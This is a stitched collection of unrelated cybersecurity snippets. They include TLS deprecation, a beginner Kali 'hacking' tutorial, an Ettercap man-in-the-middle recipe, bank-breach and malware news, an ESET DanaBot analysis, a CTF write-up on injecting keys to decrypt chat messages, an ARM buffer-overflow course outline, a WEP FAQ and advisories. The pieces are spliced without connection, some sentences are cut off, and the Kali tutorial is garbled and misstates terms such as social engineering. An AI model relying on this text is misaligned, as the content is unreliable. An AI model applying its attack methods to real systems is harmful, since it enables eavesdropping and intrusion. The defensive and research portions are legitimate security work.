In addition, Google’s announcement reads that “TLS 1.2 was published ten years ago to address weaknesses in TLS 1.0 and 1.1 and has enjoyed wide adoption since then. Today only 0.5% of HTTPS connections made by Chrome use TLS 1.0 or 1.1. These old versions of TLS rely on MD5 and SHA-1, both now broken, and contain other flaws. TLS 1.0 is no longer PCI-DSS compliant and the TLS working group has adopted a document to deprecate TLS 1.0 and TLS 1.1.”
The IETF draft document describes the security reasons in detail.
These versions lack support for current and recommended cipher suites, and supporting these older versions also requires additional effort for library and product maintenance.
As Apple notes in their announcement, the use of modern and more secure versions of this protocol, such as TLS 1.2 or the newly specified TLS 1.3 is the preferred way ahead. TLS 1.2 made several cryptographic enhancements, particularly in the area of hash functions, with the ability to use or specify the SHA-2 family algorithms for hash. TLS 1.2 also adds authenticated encryption with associated data (AEAD) cipher suites. TLS 1.3 represents a significant change to TLS that aims to address threats that have arisen over the years. Among the changes are a new handshake protocol, a new key derivation process, and the removal of cipher suites that use static RSA or DH key exchanges, the CBC mode of operation, or SHA-1.
The employment of these versions come with many benefits:
Security is not a single property possessed by a single protocol. Rather, security includes a complex set of related properties that together provide the required information assurance and protection. Security requirements are derived from a risk assessment of the threats or attacks that an adversary is likely to mount against a system. The cost of promoting interoperability at the expense of security should be prohibitive.
The existence of TLS 1.0 and 1.1 on the internet acts as a security risk. Clients using these versions are suffering from their shortcomings, while the rest of the internet is vulnerable to various attacks exploiting known vulnerabilities, for almost no practical benefit. In many occasions, the existence of older versions of TLS is due to “just in case” interoperability or because someone forgot to disable them when they activated newer versions.
Replacing older versions of TLS with newer ones takes a lot of work. When major changes like upgrading TLS are deployed, they also must be thoroughly tested. So updating to TLS 1.2 or TLS 1.3 absolutely cannot be done overnight. |
In Short Hacks: Kali Linux and UNIX is one of my all time favorite Operating- System. Not for Hacking, but its open source platform let me help to solve many days. Kali Linux is one of the best open-source security packages of an ethical hacker, containing a set of tools divided This tutorial gives a complete understanding on Kali Linux and explains how to use it in practice. .. pdf-parser. .. NMAP and ZenMAP are useful tools for the scanning phase of Ethical Hacking in Kali Linux. Feb 15, Computer Hacks and tricks: Hacking with Kali linux (Pdf Hacking · Linux Commands In Structured Order | LinOxide Command Shelves, Python.
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useful kali linux commands for various purposes Kali Linux is a Debian- derived Linux distribution designed for digital forensics and penetration testing. Kali Linux is preinstalled . How to hack windows 10 admin password. How to learn full use of kali Linux for hacking, pen testing purpose In this lesson, I am talking about basic commands in Kali Linux, not all only that skills here are some pdf about Kali Linux Hacking which you should read. Kali Linux. Revealed. Mastering the Penetration Testing. Distribution For the purpose of the CC-BY-SA license, Kali Linux Revealed is an Adaptation of the Debian Administrator's. Handbook. “Kali Linux” is .. Commands .. hacking teams.
You can create a folder or file wherever you want using the above command. All you need to do is to type mkdir space directory name and there you will have the new directory. For example, if you would like to create a directory with the name of myMovies, you will type mkdir myMovies and will create a folder named as myMovies in the current working directory.
In order to see if the directory was successfully created or not type Is. To access the newly created folder just type cd myMovies and it will take you into the newly created folder or directory.
CP cp: this command is used to copy any file or folder. For example, if you wish to copy a file abc.
Example: Cp abc. The command structure is very much similar to the above cp command. Again we will use the same example to move the file named as abc. Here is the syntax of the command: mv abc. RM Rm: this command is used to remove any file. To remove a file all you need is to type rm abc. Nano Nano: in order to read a file using command terminal nano commands are pretty useful. For example, if you would like to read a file named as log. This will open the text file if it exists.
If you would like to close it using command terminal just look at bottom of the opened file, there are some other uses full short keys and commands. Vpn: VPN stands for virtual private network. VPN basically change your IP address. If you are using a Vpn and doing anything, nobody can know until VPN company does not expose you [ free VPN can if you doing something serious Ilegal]. No problem.
It is a computer where files of a website are available. Dos attack: it stands for Denial of service. Mainly used to make website down or unavailable. Fake traffic is sent to the web server.
When data exceeds the limit of bandwidth, server crushes. Here is server down website screenshot when the server is down.
In dos attack, there is only one machine but it DDOS there is multiple fake devices as shown in the screenshot. There is only one way to protect DDOS attack. Hacker injects queries in the website database. Social engineering: It is not the hacking method. It is Hacking by the average person.
Guessing password technique is known as social engineering. I am not expert in this, and it takes a lot of time. Different for the different person so very time-consuming.
Language You should learn for Hacking Python: Ask from any hacker. Every hacker must recommend Python.
It is so easy and powerful. Here i s Python course for beginners. After completing you will able to read or write any Python syntax. Beside Hacking, Python also helps in data science. This is a long process. Types of Hacker: There are three types of Hacker Blackhat Hacker: These hackers are criminals they miss use hacking knowledge.
White hat hacker: These hackers are ethical hacker, or they use their knowledge for protecting computers Gray hat hacker: This type of hacker work for money, or you can they work like both white hat and gray hat hackers.
It is operating system used by hackers because it has all software that needed in Hacking. It is free and open source Installing Kali Linux is some complex for beginners here is the full post to know how to fix it.
You can dual boot with windows or install it inside the window known as virtualization. Before commands, I want to introduce you Terminal.
The terminal is software as commands prompt available is window operating system. Linux works on command system, hacking also.
You can open terminal from the sidebar as shown in the screenshot. To understand File directory of Linux is important. In this method, you change IP address by going the number of proxy as wish as you want. Kali has a proxy file you have to edit your working proxy manually.
Proxychain is working by three ways. Static: by default it is static. In this system is go all proxy. Wi-Fi is the most popular internet connection. In this post, I am guiding you about how can you hack and secure your wifi. Here is the basic guide for beginners.
Here I have mentioned working methods of wireless network attacks and also mention software. I always prefer Kali Linux operating system for any hacking. Kali has preinstalled all tools that are needed in wifi hacking like aircrack-ng best software to crack a wifi. No doubt some software also available for Metasploit Tutorial for beginners: Master in 5 minutes Posted: March 25, In this post, we will talk about the Metasploit framework.
I am sure you have enough heard about Metasploit and maybe still confuse what is this and how to use it? It is framework mean it is the collection of number of Softwares. You can gather information, make malware, hack FTP, hack Android, and many other things. |
In this recipe, we will use a Man In The Middle (MITM) attack against one of our targets. A MITM attack works by allowing us to eavesdrop on the communication between our target and their legitimate party. For our example, we could utilize Ettercap to eavesdrop on the communication of a Windows host while checking their e-mail on http://www.yahoo.com.
To execute this recipe we will need the following:
Let's begin the Man In The Middle attack by launching Ettercap.
–Goption launches the GUI (Graphical User Interface): |
In August 2018, Cosmos Bank, one of the largest cooperative banks in India, came under cyber-attack. With over 14,000 fraudulent debit card ATM transactions, Cosmos Bank lost INR 80.5 crores and another INR 13.5 crore through two SWIFT transactions to an entity in Hong Kong. The total loss stood at INR 94 crores or US$13.5 million.
Incidentally, a couple of days before the attack, the FBI issued an ATM cash-out blitz, warning banks of an unlimited cash-out possibility.
“Historic compromises have included small-to-medium size financial institutions, likely due to less robust implementation of cyber security controls, budgets, or third-party vendor vulnerabilities,” the alert continues. “The FBI expects the ubiquity of this activity to continue or possibly increase in the near future.”
This article provides an overview of how the attack may have happened, and how it can be effectively prevented using a zero trust security approach.
Anatomy of the Attack
- According to media reports, nine years’ worth of Visa and RuPay cards and associated accounts have been compromised.
- This compromised data may have been used by the hackers to create clone cards that enabled the fraudulent ATM cash-outs.
- This also means that the attackers may have been in the bank’s network for months together (high dwell time), moving laterally and finding the vulnerabilities in the system to stage the attack.
- Though the origin of the attack within the bank network is unclear, it’s alleged to have been triggered by a malware infection, which spread laterally and affected the system responsible for authorizing ATM payment requests.
- The malware may have created an ATM proxy server from a compromised VM that automatically authorized all fraudulent transaction requests, without connecting to the DB server or Core Banking System.
Best Practices to Prevent Sophisticated Frauds
In zero trust architecture, all network traffic is UNTRUSTED, unless explicitly allowed.
This means that security professionals must ensure that all resources are accessed securely regardless of location, adopt a least privilege strategy and strictly enforce access control, and inspect and log all traffic. – Forrester, 2016
ColorTokens Xtended Zero Trust Platform provides cloud-delivered solutions to banks and financial services companies. It provides a proactive security approach that simplifies and streamlines protection and compliance for cloud workloads, applications, and endpoints.
Visualize Cross-Segment Traffic: If the malware has infected a user workstation in your bank, it will try to explore other vulnerabilities in the network, spread laterally and send information back to the hacker’s command and control center. Maintain all-round visibility of ‘who’s talking to who’, to visualize the suspicious traffic between the infected system and the command and control center.
However, this is easier said than done if you juggle around with multiple visualization tools and don’t have a centralized console to monitor everything in one place. Also, even if there’s a connection initiated by the infected system to other critical resources, it’s difficult to narrow down to a conclusion without having a sense of context – i.e., is the workstation authorized to connect to the database server directly, and through this specific port?
Segment the Bank Network: Use micro-segmentation (tip: types of data center micro-segmentation) to separate administrative, non-banking, banking and critical environments into segments, governed by separate security policies. Even if a malware infects a workstation in the non-banking environment, the lateral movement is contained within that segment, protecting your critical environments from the lateral attack. The malware cannot spread to the critical segments of your network, compromise a VM or bare-metal server to extract and exfiltrate sensitive data.
But, segmenting using VLAN/ACLs or internal firewalls adds several layers of operational complexity – no easy thing fighting with thousands of ACLs and firewall rules. Not to mention the possibility of human errors and misconfigurations.
Orchestrate Policies: Once you’ve segmented the network, define resource access policies based on intent, and keep them up-to-date. Carefully defined policies can help control which resource can be accessed by who and from which segment or department in your network. Before even enforcing the defined policies, the changes in the security posture of the segments should be observed and assessed enabling further tweaks. Even if the attacker has somehow managed to install the malware, he wouldn’t have been able to identify and communicate with critical banking servers in the network that is protected with intent-based security policies.
This is no easy task to achieve if you’re dealing with network-level constructs such as IPs, VLAN memberships, ACLs and firewall rules. If a resource moves, the policies will have to be manually modified for that resource – imagine doing this for thousands of resources in your dynamic banking environment.
Tamper-Proof all Endpoints: Always apply the latest patches to all endpoints in order to plug the known vulnerabilities. Ensure that all endpoints have the latest version of the virus signature definitions.
However, what if your endpoints are running on legacy systems with unpatched/unsupported applications? What if your ATM kiosks are still running on Windows XP?
Though zero trust is the best approach to protect your bank from sophisticated cyber fraud, getting there can be cumbersome, time-consuming and error-prone using traditional security solutions.
ColorTokens can simplify your bank’s security journey – contact us to see how.
Download the solution brief to see how ColorTokens can protect your bank. |
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SpyNoMore Anti-Spyware: Spyware Removal Database - Dos
Denial of Service (DoS) is a software application or part of a program designed to attack a computer system or network in order to cause a loss of service to users by consuming the bandwidth of the victim network or overloading the computational resources of the victim system.
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Hackers use fake VPN website to deliver malware
The attackers who previously breached and abused the website of free multimedia editor VSDC to distribute the Win32.Bolik.2 banking Trojan have now switched their tactics.
Criminals are cloning the website of popular VPN software to try and trick users into downloading malware.
This allows them to focus on adding capabilities to their malicious tools instead of wasting time by trying to infiltrate the servers and websites of legitimate businesses.
They are actively distributing the bank Win32.Bolik.2 banking Trojan via the nord-vpn[.]club website, an almost perfect clone of the official nordvpn.com site used by the popular NordVPN VPN service.
The cloned website also has a valid SSL certificate issued by open certificate authority Let’s Encrypt on August 3, with an expiration date of November 1.
Using this malware, hackers can perform web injections, traffic intercepts, keylogging and steal information from different bank-client systems.
The operators behind this malicious campaign have launched their attacks on August 8, they are focusing on English-speaking targets and, according to the researchers, thousands have already visited the nord-vpn[.]club website in search of a download link for the NordVPN client.
“The actor is interested in english speaking victims (US/CA/UK/AU). However, he can make exceptions if the victim is valuable,” Doctor Web malware analyst Ivan Korolev told BleepingComputer.
He also said that the hackers are using the malware “mainly as keylogger/traffic sniffer/backdoor” after successfully infecting their victims.
The infected NordVPN installers will actually install the NordVPN client to avoid raising suspicions while dropping the Win32.Bolik.2 Trojan malicious payload behind the scenes on the now compromised system.
The cybercriminals behind this malicious campaign are focusing on English-speaking targets and thousands of users have already visited the fake NordVPN website according to the researchers.
Upon visiting the cloned site, users are prompted to download the NordVPN client just as they would be on the legitimate site. To avoid arousing suspicion, the fake site installs the actual VPN client but also leaves the Win32.Bolik.2 banking Trojan on a user’s system as well.
As the group’s tactics have been successful so far, expect to see other similar cloned sites being utilized to infect user’s systems with malware in the future. |
ESET researchers have discovered new versions of the DanaBot Trojan, updated with a more complicated protocol for C&C communication and slight modifications to architecture and campaign IDs
The fast-evolving, modular Trojan DanaBot has undergone further changes, with the latest version featuring an entirely new communication protocol. The protocol, introduced to DanaBot at the end of January 2019, adds several layers of encryption to DanaBot’s C&C communication.
Besides the changes in communication, DanaBot’s architecture and campaign IDs have also been modified.
The evolution of DanaBot
After being discovered in May 2018 as part of Australia-targeted spam campaigns, DanaBot has had an eventful time since, appearing in malspam campaigns in Poland, Italy, Germany, Austria and Ukraine, as well as in the United States. The European campaigns have seen the Trojan expanding its capabilities with new plugins and spam-sending features.
In ESET telemetry on January 25, 2019, we noticed unusual DanaBot-related executables. Upon further inspection, these binaries were, indeed, revealed to be DanaBot variants, but using a different communication protocol to communicate with the C&C server. Starting January 26, 2019, DanaBot operators stopped building binaries with the old protocol.
At the time of writing, the new version is being distributed under two scenarios:
- As “updates” delivered to existing DanaBot victims
- Via malspam in Poland
The new communication protocol
In the communication protocol used before January 25, packets were not encrypted in any way, as seen in Figure 1.
Following the latest changes, DanaBot uses the AES and RSA encryption algorithms in its C&C communication. The new communication protocol is complicated, with several encryption layers being used, as seen in Figure 2.
These changes break existing network-based signatures and make it more difficult to write new rules for Intrusion Detection and Prevention Systems. Also, without access to the corresponding RSA keys, it is impossible to decode sent or received packets; thus PCAP files from cloud-based analysis systems (such as ANY.RUN) become unusable for researchers.
Each packet sent by the client has a 24 (0x18)-byte header:
|0x0||0x8||Size of the data after this header|
|0x10||0x8||Sum of first two fields|
For each packet, the header is followed by AES-encrypted packet data, then a 4-byte value indicating AES padding size, and finally the RSA-encrypted AES key. Each packet is encrypted with a different AES key.
Server responses use the same format. Unlike in previous versions, packet data in server responses does not follow any specific layout (with some exceptions).
Packet data layout
Former packet data layout was detailed by Proofpoint in October 2018. In the latest version of DanaBot, the layout is slightly modified, as seen in Figure 4.
Changes in DanaBot architecture
Besides the changed communication protocol, DanaBot has also undergone some changes in architecture. The previous versions of DanaBot included a component that downloaded and executed the main module. The main module then downloaded and executed plugins and configurations.
The latest version shifts both these responsibilities to a new loader component, which is used to download all plugins along with the main module. Persistence is achieved by registering the loader component as a service.
According to our analysis, the loader component uses the following commands:
- 0x12C – Hello. First command sent by client to server
- 0x12D – Download 32/64-bit launcher component
- 0x12E – Request list of plugins and configuration files
- 0x12F – Download plugin/configuration files
Downloaded plugins and configuration files are encrypted using an AES key derived from the Client ID. In addition to that, plugins are compressed in ZIP format using LZMA compression, whereas configuration files are compressed using zlib.
Commands with ID numbers 0x130 – 0x134 are sent by the main module:
- 0x130 – Upload collected information to C&C server (e.g., screenshot of a victim’s computer; system information)
- 0x131 – Upload collected information to C&C server (e.g., list of files on the victim’s hard disk)
- 0x132 – Ask C&C server for further commands; there are around 30 available commands typical of backdoors, including launching plugins, gathering detailed system information and modifying files on client system
- 0x133 – Update C&C server list via Tor proxy
- 0x134 – Exact purpose unknown; most likely used for communication between plugins and C&C
Changes in campaign IDs
Previous research has suggested that DanaBot is distributed under various “affiliate” or “campaign” IDs.
In the previous version of DanaBot, almost 20 different campaign IDs were used. In the latest version, campaign IDs have changed slightly. As of February 5, 2019, we are seeing the following IDs in the wild:
- ID=2 appears to be a test version, serving a limited number of configuration files and no webinjects
- ID=3 is being actively spread, targeting users in both Poland and Italy, serving all configuration files and webinjects for both Polish and Italian targets
- ID=5 serves configuration files for Australian targets
- ID=7 is being spread only in Poland, serving webinjects for Polish targets
- ID=9 appears to be another test version, with limited spread and no specific targeting, serving a limited number of configuration files and no webinjects
In 2018, we observed DanaBot expanding in both distribution and functionality. The beginning of 2019 has seen the Trojan undergo “internal” changes, indicating active development by its authors. The latest updates suggest the authors are making an effort to evade detection at the network level, and possibly paying attention to published research and making changes to stay ahead of defenders.
ESET systems detect and block all DanaBot components and plugins under detection names listed in the IoCs section.
This research was carried out by Kaspars Osis, Tomáš Procházka and Michal Kolář.
Indicators of compromise (IoCs)
C&C servers used by the new version of DanaBot
Webinject and redirect servers
Note that since new builds of DanaBot’s components are released regularly, we provide just a sampling of hashes.
|Component||SHA-1||ESET detection name|
|Loader (x86), campaign ID=3||0DF17562844B7A0A0170C9830921C3442D59C73C||Win32/Spy.Danabot.L|
|Loader (x64), campaign ID=3||B816E90E9B71C85539EA3BB897E4F234A0422F85||Win64/Spy.Danabot.G|
|Loader (x86), campaign ID=9||5F085B19657D2511A89F3172B7887CE29FC70792||Win32/Spy.Danabot.I|
|Loader (x64), campaign ID=9||4075375A08273E65C223116ECD2CEF903BA97B1E||Win64/Spy.Danabot.F|
|Main module (x86)||28139782562B0E4CAB7F7885ECA75DFCA5E1D570||Win32/Spy.Danabot.K|
|Main module (x64)||B1FF7285B49F36FE8D65E7B896FCCDB1618EAA4B||Win64/Spy.Danabot.C|
|Plugin||SHA-1||ESET detection name| |
A Hacker who goes by name Subby has compromised more than 29 IoT botnet command and control servers that were using weak login credentials.
He launched a brute force attack on these C2 servers and gain access to a number of IoT botnets including Mirai and QBot botnet servers using their weak and default passwords.
Threat actors themselves use weak and default passwords for their C2 servers, which enables another black hat hacker to gain access to the bots and to perform malicious activities.
Subby shared a list of weak credentials to Ankit Anubhav, that shows a list of common username and passwords. The common username and passwords include “root=root, admin=admin”.
An interview with Subby by Ankit Anubhav details the methods used by the attacker to compromise the IoT botnet servers.
He used NMAP scanner to find the port numbers of the C2 server, he said that a “large percentage of botnet operators are simply following tutorials which have spread around in the community or are accessible on YouTube to set up their botnet.”
“Within the 1st week of brute forcing, I surpassed 40,000 devices. This was quite an inflated number due to possible duplication. I estimate the number to be closer to 25,000 unique devices.”
Here you can find the full interview of Anubhav’s with Subby. |
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November 11, 2010 7:02 pm
In a demonstration at the Black Hat security conference in Abu Dhabi, a UK researcher showed how a vulnerability in the web browser on an HTC Android phone allowed him to install an application that gave him broad control over the phone.
Another method of attack is to get a user to install a seemingly harmless application, which can then be used to access data. The researcher from MWR InfoSecurity showed that the application could re-install itself with greater privileges and give a hacker broad powers, including recording.
The Black Hat presentation was the latest in a series of findings in the past two weeks raising concerns about the security of Android phones, which have overtaken those made by Apple to claim 25 per cent of the global market in the third quarter, according to Gartner.
Another team presented a similar scenario at a security conference in Oregon, using what appeared to be an innocuous application for a popular game – Angry Birds – that in turn installed malicious programs.
“We’ve begun rolling out a fix for this issue, which will apply to all Android devices,” Google said.
“As always, we advise users to only install applications they trust.”
While there have been few reports of criminals using such techniques yet, experts said it was only a matter of time.
Some of the demonstration code produced by researchers is circulating, while a recent analysis of the Android kernel – the core of the operating system – turned up scores of critical bugs, as first reported by the Financial Times.
Most of the attack techniques that have been made public, including those shown at Black Hat, do not work on the latest edition of Android, called version 2.2.
The MWR researcher, a browser expert who uses only the first name Nils, agreed that Google could easily fix the holes he used to break into Android.
But he said that Google’s fragmented model of distribution, which includes multiple handset manufacturers and many carriers, means that some owners of older Android phones will remain exposed for an extended period.
Copyright The Financial Times Limited 2013. You may share using our article tools.
Please don't cut articles from FT.com and redistribute by email or post to the web. |
Task 6b requires you to determine a method to decrypt all future messages sent in TerrorTime.
This is possible since a user’s VCard can have an arbitrary number of public keys and each outgoing message is encrypted with all public keys. Cycling keys can help protect previous messages if a key is compromised in the future. TerrorTime’s implication of this technique is very poor. It would have been better to limit the VCard to only having one public key.
It should be noted, that if the public key is only updated for one user, the organization leader, it will render all future messages he sends unreadable by the recipient. As mentioned in task 6a, when a message is sent only the local public keys are used to encrypt the message body, but all public key fingerprints are added to the internal message structure. When TerrorTime decrypts the message the public key fingerprints are checked against all public key used to encrypt the message key. If there is a fingerprint in the internal message structure not used to encrypt the message key, then the message is reported as corrupted and dropped. The spoofed user’s local copy would not contain our public key, resulting in the message key not being encrypted with this key and breaking future decryption of the message inside of the app.
Uploading the key to every user’s VCard side steps this problem. Now when a message is encrypted our public key is used to encrypt the message, since it is also on the recipient’s VCard. TerrorTime does not check which user the public key was from, but rather only if it was used.
Generating RSA Key
I used openssl to generate a new RSA public and private key pair to upload to each user’s VCard.
- log current VCard’s public keys,
- add new key, and
- retrieves public keys to verified it was added.
Using Legitimate Functionality
When a user logs into TerrorTime, a request is made to the user’s VCard which contains the user’s public keys. The app will update the VCard with any missing public keys from the local database. One method to add a public key to each user’s VCard is to update the database with a new public and private key and masquerade as each user.
The private key is stored encrypted in the client database. I used Frida to retrieve the client’s symmetric key and then used python to encrypt the new private key. One interesting thing I discovered is that the object needs to be cast as the parent object if you want to call functions from the parent object. For an example, to call the function getEncoded on the object returned from the function generateSymmetricKey, it must be cast to Key even though the object is of the type SecretKey. I believe this is because the class Key defines the getEncoded function.
Python script to encrypt the private key with the client’s symmetric key. The resulting data can be added to the client database along with the matching public key.
I can now decrypt all future messages sent through TerrorTime. |
Security consultant and researcher
Long experience in designing and implementation of security solutions, mainly oriented on web, mobile and embedded applications. Author of penetration testing tools, recognized by OWASP organization and BackTrack Linux distribution. Researching work includes discovery of vulnerabilities of numeral applications and services, and for these, author received public apreciations by Microsoft Company..
(CVE-2010-1492) Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. |
- Is WPA secure?
- Is WEP or WPA better?
- Is WEP deprecated?
- Is WEP key same as WIFI password?
- What is WEP key on router?
- Which key sizes does WEP use?
- Is WEP still used?
- How do I know if I have WEP network security?
- How do I find my WPA WEP on my router?
- How do I check my router security?
- Is WEP 128 bit secure?
- Why is WEP a weak protocol?
- How do I find my WPA WEP?
- How do I know my WiFi security type?
- Is iPhone WEP or WPA?
Is WPA secure?
WPA improved security, but is now also considered vulnerable to intrusion.
WPA2, while not perfect, is currently the most secure choice.
Temporal Key Integrity Protocol (TKIP) and Advanced Encryption Standard (AES) are the two different types of encryption you’ll see used on networks secured with WPA2..
Is WEP or WPA better?
WEP stands for Wired Equivalent Privacy, and WPA stands for Wireless Protected Access. … Using some encryption is always better than using none, but WEP is the least secure of these standards, and you should not use it if you can avoid it. WPA2 is the most secure of the three.
Is WEP deprecated?
WEP was included as the privacy component of the original IEEE 802.11 standard ratified in 1997. WEP uses the stream cipher RC4 for confidentiality, and the CRC-32 checksum for integrity. It was deprecated in 2004 and is documented in the current standard.
Is WEP key same as WIFI password?
You’ll also see WPA2 – it’s the same idea, but a newer standard. WPA Key or Security Key: This is the password to connect your wireless network. It’s also called a Wi-Fi Security Key, a WEP Key, or a WPA/WPA2 Passphrase. This is another name for the password on your modem or router.
What is WEP key on router?
WEP Key is a security setting for your router. WEP is the only security that is compatible with the Nintendo DS Wi-Fi Connection. … The WEP Key is usually found in the “security” tab of your wireless router settings. Once you know the WEP Key, you will need to enter it when prompted.
Which key sizes does WEP use?
Home Networks WEP uses a shared-secret key, which is 40 bits in length. The shared-secret key is concatenated with a 24-bit initialization vector (IV) to create a 64-bit key, which is used to encrypt packets according to the RCA RC4 PRNG algorithm.
Is WEP still used?
Unfortunately, WEP is still present in the world. There are legacy systems and devices in certain environments that can only do WEP, plus a number of networks that have no one interested and/or knowledgeable enough to update. Like many advances in technology, phasing out the older technology takes time.
How do I know if I have WEP network security?
To check on an Android phone, go into Settings, then open the Wi-Fi category. Select the router you’re connected to and view its details. It will state what security type your connection is.
How do I find my WPA WEP on my router?
Look for this password on your wireless router or in the original paperwork that came from your ISP. The password might be labeled Wireless Key, security password, WPA2 password, WEP key, or similar. If you are unable to find your password, contact your ISP for assistance.
How do I check my router security?
Every router has a different menu layout, but you should be able to find encryption under the “Wireless” or “Security” menu. You’ll have a number of encryption options, but if you still have an older router, you want to select one that starts with “WPA2”.
Is WEP 128 bit secure?
Wired Equivalent Privacy (WEP) is a 64-bit key with 10 hexadecimal digits or a 128-bit WEP key with 26 hexadecimal digits. This encryption will prevent other users from connecting to a wireless network using your own WEP key.
Why is WEP a weak protocol?
The weakness of Wired Equivalent Privacy (WEP) is because of the small value of IVs. Within a short period of time all keys are reused. This weakness of Wired Equivalent Privacy (WEP) is the same for different encryption levels, because all use the 24 bit IV.
How do I find my WPA WEP?
Contact your system support person.The person who set up your network usually keeps the WEP key or WPA/WPA2 preshared key/passphrase.If your wireless network was set up by your Internet Service Provider (ISP), then you might find the information in the documentation they provided.
How do I know my WiFi security type?
Go to Settings in your menu and select WiFi.Choose the network you are correctly connected to and select View.You will find your security encryption type under Security.
Is iPhone WEP or WPA?
Apple designed newer iPhones to use WPA by default, since it is more secure compared to the WEP. Nevertheless, you have the option to compromise their phone’s security in order to enjoy staying connected with the Internet. |
In four action-packed hours we will learn how to read and code in the Arm assembly language and exploit Arm binaries using buffer-overflow exploits. Our lab will involve debugging Arm binaries, executing shellcode from the stack, and how to find and use ROP gadgets to allow exploitation even on NX-protected stacks. This lab includes a detailed workbook and a lab VM.
• Basic experience with Linux and using the command line
• Basic understanding of how C functions work
What students should bring:
• Laptop with 8GB RAM and around 30GB free disk space
• VMware Player/Workstation/Fusion or VirtualBox installed
Memory corruption vulnerabilities
Examples of vulnerable functions
Visualization of a vulnerable function call
Executing Shellcode on the stack with a simple gadget
Introduction to gadget huntingLab: Exploiting BoF
LAB: In this exercise students will corrupt the stack by exploiting a vulnerable function and create their first exploit in which they identify the offset for the PC crash and leverage a simple gadget to jump to their Shellcode on the stack.
Introduction to the NX bit which makes the stack non-executable
Ways around this restriction
Introduction to Return Oriented Programming
invoking system() via ROP to execute a command – the traditional way
LAB: Bypassing NX – In this exercise, students can’t use the traditional way of invoking system(“/bin/sh”), which is only possible with old libraries containing the ideal gadget. This challenge uses a newer Libc library, in which the ideal gadget is not present. This lab challenges students to creatively think about a restriction and come up with a workaround. |
I cannot connect to a WLAN
Depending on your BlackBerry® device model, the WLAN feature might not be supported.
Try the following actions:
- Verify that you have turned on the connection to the WLAN.
- Verify that you are in a WLAN coverage area.
- Verify that the time on your device is synchronized with the network time.
- If the WLAN does not appear in the Set Up WLAN application, it might be hidden. If you know the WLAN name, try connecting to the WLAN manually.
- In the Set Up WLAN application, verify that the options for the WLAN are correct.
- If you switched WLANs manually, switch to another WLAN or set your BlackBerry device to scan for available WLANs.
- If your email account uses a BlackBerry® Enterprise Server, your device might prevent you from connecting to certain wireless access points. For more information, contact your administrator.
- If you use PEAP, EAP-TLS, EAP-FAST, EAP-TTLS, or EAP-SIM to connect to a WLAN, verify that you have installed the root certificate for the certificate authority server that created the certificate for the authentication server.
- If you use EAP-TLS to connect to a WLAN, verify that you have added your authentication certificate to your device.
Next topic: Bluetooth technology
Previous topic: WLAN technology troubleshooting |
Researchers at Intezer have discovered a new variant of WatchBog, a Linux-based cryptocurrency mining botnet, that also includes a module to scan the Internet for Windows RDP servers vulnerable to the Bluekeep vulnerability (CVE-2019-0708).
“We have discovered a new version of WatchBog—a cryptocurrency-mining botnet operational since late 2018—that we suspect has compromised more than 4,500 Linux machines in newer campaigns taking place since early June.” reads a blog post published by Intezer.
“Among the new Linux exploits, this version of WatchBog implements a BlueKeep RDP protocol vulnerability scanner module, which suggests that
As explained by Microsoft, this vulnerability could be exploited by malware with
The new variant of the malware is currently undetected by most of the antivirus firms, the incorporation of the BlueKeep scanner suggests that operators would explore financial opportunities on Windows platforms too.
The BlueKeep scanner implemented in the WatchBog scans the Internet for vulnerable systems and submits the RC$-encrypted list of RDP hosts, to servers controlled by its operators.
The malware also includes scanners for Jira and Solr flaws along with Brute-forcing module for CouchDB and Redis installs.
“Once a vulnerable service is discovered to which exists an exploit module, the binary spreads itself by invoking the right exploit and installing a malicious bash script hosted on Pastebin.” continues the analysis.
“We were able to find an early test version of the spreader module uploaded to
Once discovered a vulnerable system, the WatchBog deploys a script on the targeted machine to download and execute a Monero miner from Pastebin.
The script gains persistence
Intezer experts recommend updating software to its latest version, Linux users can check for the presence of WatchBog by verifying the existence of the “/tmp/.tmplassstgggzzzqpppppp12233333” file or the “/
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Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website. |
The cookie manager component in kdelibs contains a vulnerability allowing an attacker to potentially gain access to a user's session on a legitimate web server.
|Package||kde-base/kdelibs on all architectures|
|Affected versions||<= 3.2.3-r1|
|Unaffected versions||>= 3.2.3-r2|
KDE is a widely-used desktop environment based on the Qt toolkit. kcookiejar in kdelibs is responsible for storing and managing HTTP cookies. Konqueror uses kcookiejar for storing and managing cookies.
kcookiejar contains a vulnerability which may allow a malicious website to set cookies for other websites under the same second-level domain.
This vulnerability applies to country-specific secondary top level domains that use more than 2 characters in the secondary part of the domain name, and that use a secondary part other than com, net, mil, org, gov, edu or int. However, certain popular domains, such as co.uk, are not affected.
Users visiting a malicious website using the Konqueror browser may have a session cookie set for them by that site. Later, when the user visits another website under the same domain, the attacker's session cookie will be used instead of the cookie issued by the legitimate site. Depending on the design of the legitimate site, this may allow an attacker to gain access to the user's session. For further explanation on this type of attack, see the paper titled "Session Fixation Vulnerability in Web-based Applications" (reference 2).
There is no known workaround at this time. All users are encouraged to upgrade to the latest available version of kdelibs.
All kdelibs users should upgrade to the latest version:
# emerge sync # emerge -pv ">=kde-base/kdelibs-3.2.3-r2" # emerge ">=kde-base/kdelibs-3.2.3-r2"
August 24, 2004
August 24, 2004: 01 |
The way the GitHub Actions platform stores build artifacts could allow attackers to inject malicious code into software projects with CI/CD (Continuous Integration and Continuous Delivery) workflows that do not perform adequate filtering when downloading artifacts. Cybersecurity researchers have identified several popular artifact download scripts used by thousands of repositories that are vulnerable to this issue.
“We found that when artifacts are transferred between different workflows, there is a major risk of artifact poisoning – a technique in which an attacker replaces the content of a legitimate artifact with a modified malicious artifact to launch a supply chain attack,” from the vendor Researchers at chain security company Legit Security said in analyzing the issue.
To attack a vulnerable project’s CI/CD pipeline that downloads and consumes artifacts generated by other workflows, an attacker would only need to fork the repository containing those workflows and modify them in the local copy so that they generate rogue artifacts and then return pull requests to the original repository that does not need to accept these requests.
Logical flaw in artifact storage API
GitHub Actions is a CI/CD platform for automating building and testing of software code. The service is free for public repositories and includes free worker runtime and storage space for private repositories. It is widely adopted by projects that use GitHub to host and manage their source code repositories.
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GitHub Actions workflows are automated processes defined in .yml files using YAML syntax that execute when certain triggers or events occur, such as when new code is committed to a repository. Build artifacts are compiled binaries, logs, and other files that result from the execution of a workflow and its individual jobs. These artifacts are saved in buckets, and each workflow run is assigned a specific bucket from which it can upload and later download files.
